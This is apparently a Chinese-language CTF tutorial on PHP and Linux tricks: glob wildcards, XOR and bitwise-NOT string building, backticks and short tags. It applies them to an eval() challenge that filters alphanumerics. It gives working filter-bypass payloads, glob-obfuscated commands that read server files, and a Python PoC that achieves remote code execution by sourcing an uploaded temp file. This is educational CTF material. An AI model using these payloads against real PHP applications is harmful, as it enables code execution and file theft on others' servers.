Linux下PHP的极限利用

学习Linux的通配符,php的一些特性以及相关的在CTF中的极限利用

glob模式

glob名字起源于Unix V6中的/etc/glob,glob是一种特殊的模式匹配;现Linux系统已将glob整合到了shell中;shell通配符/glob模式常用来匹配目录及文件

常用语法:

字符 解释
* 匹配任意长度任意字符
? 匹配任意单个字符
[^a] 匹配任意不是字符a的其他字符
[0-9] 匹配数字0-9这一范围内的数字;其匹配范围依据ascii顺序,如匹配大写字母可以用[@-[]表示

例如,查看当前目录下的index.php内容,可以通过下面的命令来执行:

cat ?????.???

/bin目录

/bin目录主要放置系统必备的执行文件,如:cat、cp、ls、kill等;可以通过这个目录下的文件来执行命令,如,使用cat命令实际上是使用/bin/cat命令

那么,当在shell中输入:

/???/??? ?????.???

如果当前linux系统文件/bin目录下只有cat这个文件,当前目录下有index.php文件,那么上述命令等同于cat index.php,可以直接输出index.php源码

但如果/bin目录下有/bin/cat/bin/dir/bin/pwd等可以被/???/???匹配到的文件,那么执行/???/??? ?????.???命令时可能会输出乱码或卡住

注:Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

php的一些运算流程、特性

异或符(^)

异或实际上是异或字符所对应的ascii码,如:

1
2
3
<?php

echo 'A' ^ '?';

运算流程为:
1.转换为ascii码的二进制:

A  ->  65  ->  01000001
?  ->  63  ->  00111111

2.执行异或操作:

01000001
00111111
-----------
01111110

3.转换为字符:

01111110 -->  126 -->  ~

可以使用异或符构造出想要的字符串:

1
2
3
4
5
6
<?php

$a = "`{\{\{";
$b = "?<>/";

echo $a^$b;

输出结果 _GET

取反符(~)

在了解取反运算流程前,先了解按位取反、原码、反码和补码的概念:

  • 按位取反:将二进制的每一位进行取反,0取反为1,1取反为0
  • 原码:一个整数,按照绝对值大小转换为二进制数,最高位为保留位,最高位的0表示正数,1表示负数
  • 补码:负数是用补码表示的,补码是原码按位取反+1

需要注意:

1.计算机存储二进制数据时,是以原码的补码形式存储的

2.正数的原码=反码=补码

3.在将十进制数转换为二进制数时需注意:php5.X版本中整数的最大最小区间为-2e31到+2e31,其中有个符号位所以数值表达最高就是31次幂。在php的高版本中会达到64位也就是-2e63到+2e63


举个栗子:

1
2
3
<?php
$a = 9;
echo ~$a;

运算流程为:
1.9的原码为:0000 0000 0000 0000 0000 0000 0000 1001 (php5.x版本)
2.按位取反:1111 1111 1111 1111 1111 1111 1111 0110,标志位为1,则为负
3.负数使用补码表示,补码是原码取反+1,即:

原码 --》取反 --》+1 --》补码
原码 = 补码 --》-1 --》取反

即:

-1:-111 1111 1111 1111 1111 1111 1111 0101
取反:-000 0000 0000 0000 0000 0000 0000 1010

即得到结果 -10

弱类型

1.true为1,false为0

1
2
3
4
<?php
$a = true;
$b = true;
echo $a+$b;

会输出结果 2

2.在 php 中未定义的变量默认值为 null,null==false==0

1
2
3
4
5
<?php

$_++;
$_++;
echo $_;

会产生一个Notice级别的错误,但会输出结果 2

递增/递减运算符

字符变量只能递增,不能递减(递减后保持不变),并且只支持纯字母;其他非字母字符递增后保持不变

1
2
3
4
5
6
7
8
9
10
11
<?php

$a = 'a';
$a++;

$b = 'z';
$b++;

echo $a;
echo "\n";
echo $b;

会输出:

b
aa

反引号

php的反引号中的字符串可以作为shell命令被执行

1
2
3
<?php
echo `ls /`
?>

可变函数

在php中可以将函数名赋给一个变量,使用变量的方式调用某函数

1
2
3
4
5
6
7
8
9
10
<?php

function test()
{
echo 'good';
}

$a = 'test';

$a();

短标签

在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?>这种形式的标签为长标签

<?=$a?>的作用等价于`

1
2
3
4
<?php
$a = 123;
?>
<?=$a?>

会输出结果 123

除此之外,在短标签内可执行命令或函数并输出结果,如:

1
<?=`ls /`?>

可输出根目录内容

注:使用短标签时需要先闭合长标签

极限利用-代码分析

先看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

include'flag.php';

if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

方法一.调用可变函数

payload:

$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
//$啊=']@\`@@]'^':%(&,!:';$啊();
//$啊=getFlag;$啊();

如果过滤了$,那么此方法便不可行了

方法二.调用动态函数

payload:

(~%98%9A%8B%B9%93%9E%98)();

php7版本可以用($a)()的方式执行动态函数,但在php5中不可以用此方法

方法三.构造超全局数组变量

payload1:

%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
//${~"\xa0\xb8\xba\xab"}[\xaa]();&\xaa=getFlag
//${_GET}[\xaa]();&\xaa=getFlag

payload2:

%24%7b%22%60%7b%7b%7b%22%5e%22%3f%3c%3e%2f%22%7d%5b%27%2b%27%5d%28%29%3b&%2b=getFlag
//${"`{\{\{"^"?<>/"}['+']();&+=getFlag
//$_GET['+']();&+=getFlag

如果过滤了 $,此方法也是不可行的

方法四.读取linux文件

改进前payload:

$_=`/???/??? /???/???/????/?????.???`?><?=$_?>

对应于:

$_=`/bin/cat /var/www/html/index.php`?><?=$_?>

若其长度超出了限制,那么可以使用通配符*

$_=`/???/??? /???/???/????/*`?><?=$_?>

问题还没结束,如果过滤了$符和下划线呢?其实并不需要用变量赋值再输出变量,利用短标签特性即可直接执行命令并输出结果

?><?=`/???/??? /???/???/????/*`?>

这里的?>的作用就是闭合前面的长标签<?php,因为eval函数就是简单的把字符串作为代码放到<?php ?>中间

此方法需要在short_open_tag开启的条件下使用

有时候题目可能会将cat文件放在其他地方或没有这个文件,可能需要用到其他输出文件内容的文件命令:

  • cat 由第一行开始显示内容,并将所有内容输出
  • tac 从最后一行倒序显示内容,并将所有内容输出
  • more 根据窗口大小,一页一页的显示文件内容
  • less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
  • head 只显示头几行
  • tail 只显示最后几行
  • nl 类似于cat -n,显示时输出行号

方法五.执行linux文件RCE

如果以上情况都不行了,条件大致为:

php5
没有读文件的linux二进制文件    

可利用:

shell下可以利用.来执行任意脚本
Linux文件名支持用glob通配符代替

发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母

此目录下,一般文件名都是小写的,但php临时文件名最后一位可能会出现大写字母,因此使用glob通配符:

/???/????????[@-[]

表示/tmp目录下文件名最后一位为@-[,即大写字母的范围(按照ascii码的范围)

poc:

1
2
3
4
5
6
7
8
9
10
import requests

url = 'http://ctf.dropsec.xyz:28480/index.php?code=?><?=`. /???/????????[@-[]`;?>'

files = {
'file':('a.txt', '#!/bin/sh \n ls /')
}

s = requests.post(url, files=files)
print(s.text)

因为不能用cat命令了,可以测试是否有php cli从而进行shell下的php文件读取;或者寻找其他读取文件的命令


参考文章:

https://mp.weixin.qq.com/s/TaoivKpgzyg8HZGsUdeytQ

https://www.anquanke.com/post/id/154284

https://www.leavesongs.com/penetration/webshell-without-alphanum.html

https://blog.51cto.com/lxqybyq/1683061

https://skysec.top/2018/09/24/2018%E5%AE%89%E6%81%92%E6%9D%AF-9%E6%9C%88%E6%9C%88%E8%B5%9BWriteup/

https://www.secpulse.com/archives/96374.html

https://www.php.net/manual/zh/migration70.php

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html